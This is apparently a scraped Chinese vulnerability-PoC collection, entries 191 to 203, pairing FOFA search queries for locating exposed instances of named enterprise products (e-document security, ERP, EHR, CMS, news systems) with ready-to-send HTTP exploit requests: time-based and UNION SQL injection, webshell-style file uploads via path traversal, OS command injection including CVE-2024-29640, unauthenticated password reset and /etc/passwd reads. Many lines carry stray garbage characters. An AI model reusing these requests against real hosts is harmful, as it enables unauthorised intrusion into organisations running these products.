9 `2 k& a5 |5 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
- ^6 o# `1 J. j4 z8 ^9 H. WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
* T, Z; k% w  y7 I

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
" `( I# x1 I; P7 c8 uFOFA：body="/CDGServer3/index.jsp"
. m4 c( M! e$ V5 CPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
% m/ v' i# g  v: X# O9 D3 \) w$ v$ EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% X3 K4 s; m& mContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

  j8 l3 \% N' ^: Y) K2 N* z: j* ?
/ D$ V; \4 M- R0 S8 z5 V192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
% r( E$ [8 n9 p/ P2 uFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
7 a' d# t2 B7 k- \* \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
( V- E1 k. D3 r6 I0 |Content-Type: application/x-www-form-urlencoded
( ~5 a1 K" ~0 m( q4 A& q
( \4 W( j  K' S7 _$ \
<% @ webhandler language="C#" class="AverageHandler" %>
$ {5 _/ ]* R4 ~, w4 B$ ^using System;
( t8 }! [2 ~* Z5 e/ F7 C- nusing System.Web;
public class AverageHandler : IHttpHandler
9 ^! X3 j+ v8 E+ {{
public bool IsReusable
{ get { return true; } }
8 }# ^& i5 {- F3 p. dpublic void ProcessRequest(HttpContext ctx)
2 K* [2 S7 Y6 M# [$ e{
6 o/ w0 u8 {7 Y( \7 b* d7 Dctx.Response.Write("test");
}
3 F& \, {/ [; z) k" x}
( ^) X( ?1 t8 b2 W% Q) M. U
/ G( h7 y: S% u) A
, q$ m6 _# P6 E0 L  m193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
4 G' z- X1 @. B5 cFOFA：body="山石云鉴主机安全管理系统"
5 x7 @: b3 _9 h& XGET /master/ajaxActions/getTokenAction.php HTTP/1.1
) i$ V% K: q, g% L. t/ THost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
: t2 m2 D, @0 t

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
4 [: J! v1 c' @1 C! D! UUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
+ z4 f$ R9 r& N$ S9 LAccept: */*
# n1 c  k& H* T9 nConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
5 c7 h! O5 k% t0 s) Z! W  e
, r. i" l9 s2 L' Y8 k( E0 ^% Pparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

: ]% @/ M9 E1 W2 \
GET /master/img/config HTTP/1.1
4 E  p  @* A! y' |! i- W4 R( i, _! ]Host:
User-Agent: Mozilla/5.0
# j$ [0 u( n% _
8 K% b+ v7 F8 ~: E0 {+ s
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
- v5 t. b+ m, h7 K+ R' jFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

) ?+ a! v6 z9 nPOST /servlet/uploadAttachmentServlet HTTP/1.1
$ T1 r- ?* ]( |9 Y+ C% J0 f  q. q* cHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
& Q) t2 V( B3 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

$ Q% v- X1 J! f: i( SContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
5 I3 w2 Y' R, }! R<% out.println("hello");%>
3 ~, B- \* _! C6 P6 e* W5 Y------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
3 O: D7 i" R( J1 w. V( Y" b------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


( B: M, @% z2 `9 P0 @2 u: |; a8 w195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
4 a- W/ e! p* G! g+ |/ WHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
4 Q0 s0 }$ W2 l- I8 Q7 t" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
) {- D: c3 ^2 D' G' I2 f8 Z, yAccept-Language: zh-CN,zh;q=0.9
" W) |' I2 y0 F$ e' x- ~Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

+ y+ M+ H# k- u$ K' s
1 m8 V7 s' U& ~9 G+ H7 O- M2 W196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
, n0 A( v! V3 L. DPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
8 T  d7 H& }* J+ K- G8 E" [- LHost:
9 N5 y6 `1 e2 t" e6 zAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
7 |) n4 B$ }+ y8 Z) X! w- P7 qConnection: close

{"xgh":"test","newPass":"test666","email":""}


- L0 a" m+ O/ S7 S
' G) `1 {! p) J197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
% u* h5 b0 Y, A! ]; M; hHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

9 b2 g4 `# y/ A
% C2 C) x" `- ?: }" [
198.  阿里云盘 WebDAV 命令注入
) r. b6 Q" r1 a' y4 R: bCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
2 X& c/ J4 J+ T* e5 G7 H: w4 n8 DAccept-Encoding: gzip, deflate
2 A# @% u) ?$ V5 KAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
  l& m3 g3 h; ?. y5 RConnection: close


199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

0 a2 U% _0 r$ L( {* n7 F响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
( x. ~" k6 z; N* q
* D9 q: f. [" z; Z/ M, x+ C2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
6 H- n$ H' z& z* P+ ^7 ]Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

; Y2 U5 ^1 v/ f& Z+ u响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
5 H! o- J- q1 t, M% D
-----------------------------36D28FBc36bd6feE7Fb3
$ x( w: D8 @6 A6 T. z3 nContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
- \! @0 d' ]' G) p  w
7 M1 t* X1 K/ z/ _<?php echo "tttt";unlink(__FILE__);?>
8 f2 F5 b/ V2 w- n0 m$ @% B) Z6 P-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
* [  L4 u" n  d. ^1 u5 [

/storage/uploads/tttt.php

! h' i3 E: y, V( T" W5 l. _) ]2 I4 ~200. SeaCMS海洋影视管理系统dmku SQL注入
+ ~) \" `9 l2 g$ f2 }FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
2 G8 v/ ^; k  m. a  u: WCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
( H4 ]! r, w+ Z, LUpgrade-Insecure-Requests: 1
+ p5 G  m! c; T- U3 G; J8 bCache-Control: max-age=0
' O" A* W) o3 b* S: I+ K7 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! `" C0 B; _* y5 b, v/ [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. ~" j4 [0 U6 f5 C9 y7 |
3 A! k# `* }8 X( Z1 l
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
) K1 Z: f; r, \POST /newsedit/newsplan/task/binary.do HTTP/1.1
: w. a! v+ P7 a; j- e% \' E" v7 ?Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 Q3 r5 E) f4 P; a
1 J3 W( U" S$ w6 c- M' QTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
  h9 a, p) V9 e5 f( Z# w

202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
" Y$ c- k0 u+ T+ D8 x; p  }获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
' O- B2 s- y" |: D

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
) r! T4 z; E' AAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
' [( h; Q6 F8 x3 M
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

8 ~/ I  Q, L$ Y, x7 u2 x__VIEWSTATE
* v, b& X4 A2 r! Z' I8 r! W-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
( j; _* N$ M+ p, {-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

4 Y, I0 z& P6 ?, A, G3 P. m+ R  c
" Z2 p; M! y/ x) _. c-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
% @0 m6 E- W$ W+ O' M

& ^# _1 v' N* [3 G4 A-----------------------------786435874t38587593865736587346567358735687--


$ F9 B# z& S2 r% @- @8 _2 ^" j/_data/Uploads/1123.txt
; u5 n. L, `$ y- D0 w7 x5 o! R
203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
- \5 I$ R& C" c2 b4 f7 A3 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' e  D1 \- n, E. o0 i1 |Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
& |, k1 b6 K9 ]% B( TContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
" f2 n* L& g7 I. T! W9 ^
8 R) j' _3 }# P  P+ _<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


1 E0 ~) l6 c) T6 {; x  q! S


# Z+ \9 C" J, Z
$ `% t8 T* X7 j0 |6 T3 y